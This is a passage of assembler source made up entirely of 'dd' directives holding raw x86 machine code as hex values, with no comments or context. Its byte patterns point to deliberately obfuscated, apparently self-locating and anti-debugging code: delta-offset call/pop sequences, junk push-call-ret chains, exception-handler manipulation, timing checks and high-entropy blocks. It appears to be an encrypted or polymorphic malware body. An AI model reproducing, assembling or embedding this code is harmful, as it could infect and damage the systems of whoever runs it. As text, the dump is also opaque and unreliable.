0E90E95BDh, 0BF665005h, 4899C06h, 858B6024h, 5E90D15h dd 0AE8h, 740B0600h, 16D42A0Ah, 0B99561CEh, 7A67A71Ch dd 6A6159h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 4DC35343h, 0D72E153h, 9A902F1h, 0E9253595h, 890F05h dd 0E8000000h, 0Ah, 882A3617h, 0AA02F8A0h, 0BD8BE3EBh dd 5E9232Dh, 66006A5Fh, 8D014FBFh, 0ED77F785h, 7E805h dd 9F0E0000h, 13CF07A5h, 68E0F72h, 0F000000h, 84h, 0C0835F00h dd 0E99D8B05h, 9005E917h, 5750D88Bh, 17880Fh, 11E80000h dd 73000000h, 5DBA25A2h, 794C30E8h, 6EF24B6Dh, 0CB43B9E2h dd 80905B5Fh, 6A5ED3h, 0FE8h, 934A0700h, 0A25CCD6Dh, 3CEABC68h dd 0C6281D3Dh, 0CFD9D8Bh, 8B5F05E9h, 0FF006AFBh, 0E90AA195h dd 0A18FBB05h, 8D8D4D28h, 5ECADBFh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 8BC35747h, 51840F68h, 0FF5FF88Bh dd 50006AD1h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h dd 0C3504000h, 54A8B9F9h, 8AD5542h, 13E8h, 0BEC4B000h dd 32512B1Dh, 27EF4776h, 0E7D9B34Ah, 81F3EBDAh, 12699D03h dd 0E85B05E9h, 0Bh, 0D98C175Bh, 0E3C72C8Ah, 81081CFBh dd 0E17FBDEFh, 0BD835B29h, 5E901BDh, 41850F01h, 89000000h dd 0E90DAD9Dh, 81026A05h, 0D23A2DDFh, 8B66501Fh, 240489DAh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9C35040h dd 81668B1Bh, 0FFD858CFh, 0E900AD95h, 0FA8B6605h, 0DB7E9h dd 0E800h, 815D0000h, 0ED7801EDh, 0B5958905h, 0E905E919h dd 13h, 0A8ED6DB3h, 2E1A1648h, 8B64F9E2h, 0BABB48B3h, 8A58DD93h dd 4B858DDDh, 6A05EC90h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0C6EC353h, 7C686234h dd 0FBCF8102h, 5005B5DBh, 310F5250h, 585AD88Ah, 6A240489h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 6945C352h, 0D2B02CEDh, 64FBBF0Fh, 35FFh dd 9D8B0000h, 5E92451h, 10259D89h, 896405E9h, 25h, 21858900h dd 0FF05E91Dh, 0E9068985h, 6800F05h, 9000000h, 0E92FDD8Dh dd 6AFF6A05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 2E08C355h, 3A0E8760h, 35747CBAh dd 6B59D8Bh, 0B5FF05E9h, 5E92F55h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 9CC35747h, 8B607ED0h, 0E907DD85h dd 40CCBF05h, 0FF611755h, 0E907C995h, 0E5E905h, 95010000h dd 5E90E5Dh, 9D8B00B0h, 5E93141h, 5BF70E6h, 0E46038C5h dd 0F613C71h, 0C683h, 0F38B6000h, 30218D8Bh, 0F6105E9h dd 8589C8B6h, 5E927D5h, 6BAh, 27D38100h, 8B714D3Bh, 10E9C1h dd 0BD970000h, 8443A4C8h, 72CCA88h, 0C3E922Ch, 0E8C16EE4h dd 28BB6604h, 0E2F76624h, 1259B589h, 816605E9h, 2B5803D3h dd 0D1BD89C8h, 8B05E916h, 0F38166D1h, 6E9341Bh, 9000000h dd 0E90C09BDh, 9D858B05h, 8B05E932h, 7C083FEh, 83D98B66h dd 9D8B00C0h, 5E900A9h, 830FD03Bh, 0Bh, 30FD9D89h, 38E905E9h dd 8B000000h, 0E910798Dh, 1E18305h, 29840Fh, 9D290000h dd 5E90229h, 1079A583h, 0BFFE05E9h, 5A44C7CFh, 329D9589h dd 7E905E9h, 55000000h, 94C60EDh, 0E91499h, 8D000000h dd 0ECFFCEB5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 5723E0C1h, 6A944DACh dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 9D89B238h, 5E921F1h, 1E9595FFh, 6A05E9h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0D88C08C3h, 24554303h, 0BE84Fh, 203F0000h, 1B4057C7h dd 537A4070h, 89BD8BE4h, 5F05E90Bh, 7DFB9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0B02D37FEh, 0E183370Dh, 0F9B70FFCh, 75BD8BFCh, 2B05E931h dd 999D8BC0h, 2B05E902h, 56006AD2h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 60264681h, 1DCD8D01h dd 0E78005E9h, 33AD61E4h, 3E8D1C2h, 4E983D0h, 0FF9F475h dd 880DF8BFh, 29000000h, 0E91F21B5h, 55958B05h, 305E926h dd 0E90D01BDh, 58D8B05h, 2905E908h, 0E9245195h, 0C28B5005h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 958188Bh, 0E90715BDh dd 0D19D8B05h, 6A05E905h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 89A4C357h, 0E900F98Dh dd 0F1BD8305h, 5E91Ch, 42840Fh, 9D8B0000h, 5E91FA1h, 0B8h dd 0FA8B6600h, 4E6D8D8Dh, 9D8B05E9h, 5E91F95h, 6AE1FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 9E4CFFC3h, 0BD8922E9h, 5E91D71h, 163DBD83h, 0F0005E9h dd 50584h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0C63317E8h, 0E8B32B27h, 0DDBD8B36h dd 8305E904h, 0E9163DBDh, 840F0105h, 4E9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 5BC35242h, 685F8AAAh dd 38B9253h, 0E927919Dh, 13B16005h, 8361E18Ah, 0E9163DBDh dd 860F0305h, 477h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0B8C35545h, 5B739390h, 0DEB66242h, 5E9CAh dd 27080000h, 60CF058Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 66C35747h, 237BC62Fh, 0C780B9C0h, 85896087h dd 5E932CDh, 61FEB70Fh, 80D98C66h, 0E180D0EBh, 0AF98B04h dd 0A5840FC9h, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 4B3DC355h, 39853122h dd 105E918h, 0E90F09B5h, 69858B05h, 6A05E928h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0EA38C355h, 9D8B0AA0h, 5E92B9Dh, 0E618533h, 6A05E9h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0F9B0AC3h, 850FFABFh, 6, 5319D03h, 669005E9h, 50A1DFBFh dd 5E952h, 65A30000h, 5F30867Ah, 52006A90h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 5DE39123h dd 89927657h, 0E9318DBDh, 0DABF6605h, 6A006AFEh, 3E85300h dd 20000000h, 895BC35Bh dd 8104245Ch, 1B042444h, 43000000h, 135DC353h, 0A96B6618h dd 28BFEA3Ch, 682ECF52h, 0DAF6BC39h, 6E9h, 0DEC54000h dd 81FDB59Fh, 47C62404h, 6A2528h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0AD7E6DC3h, 0ECDE80A3h dd 9D2BA06Dh, 5E90059h, 292D95FFh, 9D8905E9h, 5E92261h dd 68A0Fh, 9D010000h, 5E90AD1h, 0BACE8589h, 6A05ECh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 910346C3h, 797490C3h, 20DE9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0CED81118h dd 0AE9F3h, 0E3630000h, 0B3D3F837h, 0A552FAF0h, 0BAC6858Bh dd 6A05ECh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 437AD0C3h, 392AA182h, 1800C7h, 53600000h dd 1D41852Bh, 0B65905E9h, 0B58B6190h, 5ECBACAh, 0DE9h dd 0C566DA00h, 41C9764h, 0B1848A21h, 858B0212h, 5E92F39h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0CCC35040h dd 0DE9h, 0B177B300h, 0CE62AA03h, 9174EF5h, 689EB62h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5AC35242h, 0F22B6887h dd 0AB59D8Bh, 858B05E9h, 5E92869h, 0E8044689h, 8, 0FA566302h dd 9D3CCA78h, 0CAE78166h, 0BF505BB0h, 37617A38h, 6A243489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0CC84C356h, 0D53D44BFh, 52E271CFh, 0BAC6B5FFh dd 6A05ECh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 466BBC3h, 0C99D8B60h, 6605E925h, 6861CB8Bh dd 404308EAh, 6D3DBF66h, 15243481h, 6A405C0Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h dd 0B483C356h, 45BD8B5Ah, 8D05E903h, 0ECBACE85h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0FE8B66CBh, 50FAB70Fh, 13E8h, 4C9B7600h, 0FF48877Ah dd 94EAE498h, 0AC4BA77Fh, 99964B61h, 0AE8h, 6AACBE00h dd 0A5B3D6FDh, 8BE8AED3h, 895B5BFAh, 6A2404h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0D5F15C3h dd 91BD297Ch, 0FF05E924h, 0E9292D95h, 361F805h, 0E92B159Dh dd 3D85C705h, 305E916h, 81000000h, 40D83AE7h, 0CEBD834Fh dd 5ECBAh, 5D840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 4AB34DC3h, 0E3B58D57h dd 8BA29061h, 0E92B7D9Dh, 0D78105h, 0E96340A8h, 42h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 43C35040h, 0ABDA273Fh dd 0D59D2BCAh, 5005E904h, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 8AA162C3h, 0F1BD8B04h dd 8305E905h, 0E9163DBDh, 850F0305h, 45Bh, 0BD830EB3h dd 5ECBACEh, 4C840F00h, 8B000004h, 0E932759Dh, 0CEB5FF05h dd 8905ECBAh, 0E916EDB5h, 0DB816605h, 95FFF4A4h, 5E92B75h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0D3C35242h dd 3A16280Dh, 0CABB3872h, 0B58B65B7h, 5ECBAC2h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 48C35545h, 3FE9C51Dh dd 663A754Dh, 0DD35C381h, 106C7h, 6A0001h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 73231CC3h dd 2059446Bh, 0BE9h, 0C5BAFD00h, 9CC0A080h, 9BCA810Eh dd 0BE896h, 0AD9F0000h, 0D57D95BAh, 0D3BD588Fh, 8A5250A6h dd 0E9310FFAh, 10h, 374F8958h, 197CF544h, 485F2A17h, 24407AA7h dd 505F585Ah, 0E28ABF66h, 55006A96h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 0E82363E5h dd 2D4B3686h, 0B589117Ch, 5E9267Dh, 0BACEB5FFh, 0BD8B05ECh dd 5E90BCDh, 0ED9D33h, 95FF05E9h, 5E92B4Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C9C35141h, 28BFC079h dd 0AE82FD8h, 0CD000000h, 781AB004h, 0A2E360EAh, 0B5896075h dd 5E93169h, 1CA1958Bh, 5F6105E9h, 799D3350h, 5B05E91Eh dd 0BAC2B58Bh, 0BB6005ECh, 38D1DD45h, 5959589h, 8B6105E9h dd 0E90FDD85h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0BB66C5ACh, 8689BCD8h dd 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 0F9C35242h, 27619589h, 958B05E9h, 5E92655h, 1ECD8D89h dd 68B705E9h, 6A04C283h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 87BCC350h, 88555EAh dd 18C99D23h, 0BD8B05E9h, 5E90085h, 6A205089h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h dd 0AF19C350h, 9A3B1720h, 10E8C0h, 1B3E0000h, 615BA846h dd 0BBF2A698h, 400D5BC4h, 0ABFA531h, 5B7680DCh, 27218D29h dd 858D05E9h, 5ECD055h, 10E9h, 1A0B9C00h, 0AD510C01h, 0B03FF6CCh dd 0A3AC0D8Fh, 0B88689F1h, 0F000000h, 28Ch, 6ADE8B00h dd 75BD2900h, 0FF05E903h, 0ECBACEB5h, 55006A05h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0EC076C22h, 0EE88844h, 0D0000000h, 4452B355h, 0B20FE6A6h dd 41259342h, 0E19D898Eh, 5F05E90Dh, 0AD95FFh, 6A05E9h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0D8409EC3h, 0E9F3D9D7h, 0Ch, 0B8D9FA71h, 0BC67F2BAh dd 0E5D9117Bh, 8E9h, 18D14F00h, 364DE6C4h, 66605080h, 0B966C28Bh dd 89612B4Eh, 9D8B2434h, 5E907D5h, 0BACEB5FFh, 43BB05ECh dd 0FF43148Bh, 0E9323195h, 0FAB70F05h, 2AB1BD83h, 0F0005E9h dd 4484h, 0B9BD8B00h, 9605E906h, 58E0Fh, 66500000h, 505FFE8Bh dd 13E8h, 1C79BD00h, 0CE01CC06h, 5A77361Ah, 2D1A5F6Ch dd 0F371EE55h, 8B665250h, 66310FD8h, 585AFE8Bh, 8060965Fh dd 0BD8924D8h, 5E92565h, 0CEB5FF61h, 8B05ECBAh, 0E90FF59Dh dd 6195FF05h, 0FF05E92Fh, 0ECBACEB5h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0F5264BAh, 95FFD8B7h, 5E92DC5h, 0ECC7F781h, 0BD837892h dd 5E903FDh, 6C840F02h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0BBB3C350h dd 671577A7h, 89975819h, 0E932D995h, 0F88B6605h, 3055858Bh dd 6A05E9h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0BD957AC3h, 1850CF4Eh, 85898CFDh, 5E9303Dh dd 890000C6h, 0E91831B5h, 5850905h, 0C705E90Eh dd 0E927A985h, 5, 5BD8900h, 0E905E90Eh, 0FFFFF321h, 0D68B6057h dd 19A59503h, 5B6105E9h, 6850Fh, 0BD8B0000h, 5E928A5h dd 0DF8BC18Bh, 21E5858Dh, 0BD8905E9h, 5E92D21h, 0DE8B5090h dd 41BD8990h, 6A05E908h, 6AFC00h, 8DF98B66h, 0ED874585h dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0C0833DBFh, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 81BD8B6Bh dd 0BF05E90Eh, 72DC2C30h, 2D799D2Bh, 605005E9h, 763ABA66h dd 24048961h, 0ADD3DBBh, 6A006A46h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0AE87C357h dd 0E7816634h, 6AD86Eh, 2FA59D8Bh, 95FF05E9h, 5E90AA1h dd 0F559D89h, 8D8D05E9h, 5ECADBFh, 0FFD9BF0Fh, 51006AD1h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 3847B9EEh, 9C1ACB81h, 0BD834BEBh, 5E901BDh, 9B850F01h dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 18042444h, 43000000h, 5801C353h, 66DF29AFh, 0BCF0D381h dd 0BF0F026Ah, 0EADF80FBh, 0DE86090h, 0DC000000h, 6441DB89h dd 4050C793h, 7A94679Ah, 7F6BBB66h, 5B50535Fh, 5750615Bh dd 0EE9h, 6FAF6E00h, 1C91520Eh, 0E80E25BEh, 5B977CCBh dd 0CFCFBF90h, 95FF5FA8h, 5E900ADh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ch, 0A0C35545h, 0BCC825A8h, 0CB2848CAh dd 48C0Fh, 0BF660000h, 1EE9D713h, 0E800000Eh, 0 dd 4FED815Dh, 6605ED87h, 51F58BBFh, 6A5FDE8Ah, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 9E45C356h, 227B1760h, 8B376F0Eh, 4B858DDFh, 6A05EC90h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 29C9C350h, 509D3521h, 61D9BB66h, 8B240489h dd 0E92B55BDh, 68A0F05h, 81000000h, 0E03674DBh, 35FF6427h dd 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0D8C35747h dd 37E61EB1h, 2645B589h, 896405E9h, 25h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 30E2EF9Ch, 6558A746h, 858BF560h, 5E916C9h, 0B5BD0361h dd 0FF05E919h, 0E9068985h, 17F38105h, 6A281BFBh, 0EE9FFh dd 0F8420000h, 2FAC39B4h, 0B2FFE26Ch, 208FAD52h, 2839B5FFh dd 6A05E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0E5DD4EC3h, 45E57DE5h, 8BE4B33Fh, 0E93191BDh dd 95FFF505h, 5E907C9h, 142E9h, 0AE900h, 1EFB0000h, 0D21C0508h dd 7166CED5h, 11E9h, 0D1BF7F00h, 80B0EA28h, 0B92382A5h dd 97E4E3A2h, 0B0379Ch, 10E970E6h, 0F000000h, 0A78C8511h dd 0FD0EA0CEh, 902B5612h, 0E4D0B60Ch, 0D7816671h, 0BB66EB2Ch dd 613CF515h, 0F1830Fh, 89600000h, 0E9037D85h, 318D8905h dd 6105E931h, 0E9C8B60Fh, 0Eh, 3298DD53h, 7B2C1EB7h, 73F8D721h dd 6BAC8AEh, 8B000000h, 0E904F19Dh, 0E9C18B05h, 0Dh, 3BFC8E73h dd 0EC230749h, 17AAA640h, 4E8C1C5h, 13E9h, 0E9BE7800h dd 0B409F102h, 78708398h, 0E7DE9D80h, 0C8C1C4C9h, 2BE2F766h dd 89BD8BC8h, 0F505E924h, 0FB8BD18Bh, 3E9h, 0FFBF0F00h dd 0D89858Bh, 850F05E9h, 2, 0C083FE8Bh, 0C083FC07h, 0DBBF0F00h dd 830FD03Bh, 0Ah, 88CB8166h, 51E959h, 8D8B0000h, 5E90089h dd 6850Fh, 0B5890000h, 5E907BDh, 0F01E183h, 3684h, 0BD895200h dd 5E92CE1h, 89A5835Fh, 0FE05E900h, 0EE9h, 0D2DB6400h dd 0E4CBF04Ah, 0E611DE3Fh, 89F357F0h, 0E90D8995h, 0C9BD2305h dd 6605E918h, 0E9DF8Bh, 8D000000h, 0ED09A4B5h, 0C8F0F05h dd 0F000000h, 68Ch, 7DBD8B00h, 8B05E906h, 0E92F19BDh, 9006A05h dd 0E926FD95h, 9595FF05h, 6A05E91Eh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 898CC352h dd 0E9000D8Dh, 5BD8B05h, 0B905E92Eh, 83Eh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0E1C35747h, 8B51903Dh dd 0E92299BDh, 0E1835F05h, 9FCF9FCh, 0E91E8585h, 96BF6605h dd 0B876h, 0BF660000h, 0BA2226h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 8D0FC351h dd 0D81FA2DDh, 0CE9h, 0D259B600h, 170FF170h, 5B8723D0h dd 0C233ADE6h, 0D003E8D1h, 7504E983h, 63CF81F4h, 6A4E7273h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 3921C351h, 5DBF9B97h, 2B499589h, 880D05E9h dd 81000000h, 55EAC5C3h, 55958B76h, 6005E926h, 1ED19D89h dd 958905E9h, 5E93269h, 58D8B61h, 8B05E908h, 0C28B50F9h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0E858188Bh, 10h dd 0A17D0958h, 321F7C13h, 70799984h, 0CDD7DCDEh, 2BE5BD23h dd 6A5B05E9h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0FBAEC353h, 0AE96039h, 57000000h dd 1DFEFF3Eh, 44830CEBh, 0BD8361B1h, 5E91CF1h, 5B840F00h dd 0B3000000h, 0B89Ch, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0A1BC35C3h, 94F7199Ch dd 8D8DB0CAh, 5E94E6Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0EFC35040h, 38A0FBFh, 80000000h, 0E1FF04C7h dd 0BD83FEB7h, 5E9163Dh, 2F840F00h, 66000004h, 0BD29D98Bh dd 5E919C1h, 163DBD83h, 0F0105E9h, 43484h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 2A8FB779h, 0A99D8BE7h, 0E905E90Bh, 0Ch, 9A618DCBh, 0CE145DCEh dd 0EBA633F7h, 163DBD83h, 0F0305E9h, 3BA86h, 59D8B00h dd 6005E91Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 34C35242h, 8CF211F2h, 2CC835AAh, 22199D8Bh, 8C6605E9h dd 4E180D9h, 0AB1D780h, 88840FC9h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8B05C352h, 69858BD9h, 6A05E928h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 6B8FC352h dd 1D6E8700h, 337EAD9Bh, 0E90E6185h, 53006A05h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1804h, 0C3534300h, 508B536Fh dd 5858944h, 9005E912h, 0DA8B5250h, 5DB7310Fh, 5250585Ah dd 5FF98B66h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 0B2A57066h, 0BF662D90h, 6A8478h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0C6C35545h dd 0F50AA1E2h, 88CEDF62h, 10FD9589h, 4E805E9h, 0FF000000h dd 0E9001F03h, 8, 0BAB06490h, 80A58E3Ah, 8BDC8A50h, 0E9042444h dd 6, 0C88A5DBCh, 8B3ABBh, 89FE8B66h, 0BF042444h, 191380CAh dd 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h dd 0C3554500h, 0F74FF94h, 118Ch, 0B70F6000h, 6E8D8h, 9FFE0000h dd 0D2D08095h, 9D8B6159h, 5E90DA5h, 2D9DB531h, 95FF05E9h dd 5E9292Dh, 89DE8B66h, 0ECBACE85h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 0A8E96105h dd 0F000001h, 8Eh, 8BDD8A00h, 0ECBAC685h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 260AC873h, 0ED4B762Eh, 0A99D8906h, 0C705E925h, 1800h dd 619D8B00h, 8B05E905h, 0ECBACAB5h, 51006A05h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 11A0377Bh dd 217341B0h, 258589DFh, 8B05E911h, 0E92F3985h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 2832BB00h, 0EB800689h, 69858BFAh, 8B05E928h, 0E925259Dh dd 28DB8105h, 897C7BDBh, 6A0446h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 0AF3F7BC3h, 0AED53236h dd 810F6050h, 2, 0B9665852h, 8961F25Fh, 6A2434h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 663337C3h, 0A030AC0Ch, 1F810Fh, 890F0000h, 19h, 13E8h dd 0D6F4C600h, 39FBAE64h, 0E2D20359h, 23D5F975h, 491A83FAh dd 0C6B5FF5Bh, 6A05ECBAh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 0AF2BC352h, 276170E2h dd 28CA9C5Ch, 1FADBD8Bh, 10E905E9h, 19000000h, 0FB9FA494h dd 7CE9F098h, 1A20FC8Dh, 682C3088h, 4F61C0FDh, 3481F88Bh dd 7EC30224h, 0FDBB664Fh, 0CE858DB5h, 5605ECBAh, 27918D31h dd 505B05E9h, 66240489h, 0FF2036BBh, 0E9292D95h, 899D2305h dd 6105E924h, 0EE19D89h, 85C705E9h, 5E9163Dh, 3, 1D618D89h dd 0BD8305E9h, 5ECBACEh, 2C840F00h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0F26FC356h, 0B70FB78Ah, 0EDF380DBh, 1DE9h, 50F88B00h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 67FFFDC3h, 8D658C23h, 0F55AD24Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0EFC35747h, 5E8h dd 0BA057600h, 8B66CDBDh, 0BD835BF8h, 5E9163Dh, 88850F03h dd 6A000004h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 816BC355h, 0C1D2703Dh, 29A7EB4Eh dd 0E921B18Dh, 0CEBD8305h, 5ECBAh, 451840Fh, 81660000h dd 0E89062D3h, 6, 7D32C36h, 8B66D35Dh, 0B5FF5FD9h, 5ECBACEh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0BAC35343h dd 0F8E0B00Ah, 50905FC2h, 0FFDE8B66h, 0E92B7595h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 536AE2D9h, 38B0F14h, 0F000000h, 0B58BF9BFh, 5ECBAC2h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A4C35545h dd 5085ED38h, 362371BEh, 6E90Eh, 7CF70000h, 327B8703h dd 106C7h, 0B5890001h, 5E90D95h, 5E850h, 57890000h, 66FC54C2h dd 5FAD6DBBh, 0E9243489h, 5, 0FEBE071Eh, 0CEB5FFCEh, 0F05ECBAh dd 68Dh, 899D8B00h, 0F05E92Ah, 95FFDEB7h, 5E92B4Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 0F5C35141h, 0CA082D5Fh dd 0B58BF9ACh, 5ECBAC2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 4BC35545h, 798BFA5Bh, 0E8BFCAE2h, 8B6A6E54h dd 0E90FDD85h, 89F98B05h, 0C486h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 4D4B967Dh dd 0FDF82C9h, 958BD8BFh, 5E92655h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 2DC35545h, 704B3B96h, 83A01B90h dd 6A04C2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 1E8C86C3h, 0FF17549Bh, 0E05BD29h, 508905E9h dd 13E820h, 4B8F0000h, 591BC754h, 0B1AF10CDh, 923D1BABh dd 0D648E8C5h, 0D3816650h, 8D5BFA9Fh, 0ECD05585h, 0C1BD8B05h dd 8905E902h, 0B886h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 652179h, 6A106531h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h dd 53D47DBAh, 0BD1A0F5Eh, 0E95638EDh, 5, 0CA7A51C3h, 0B5FF5FA6h dd 5ECBACEh, 0E851006Ah, 3, 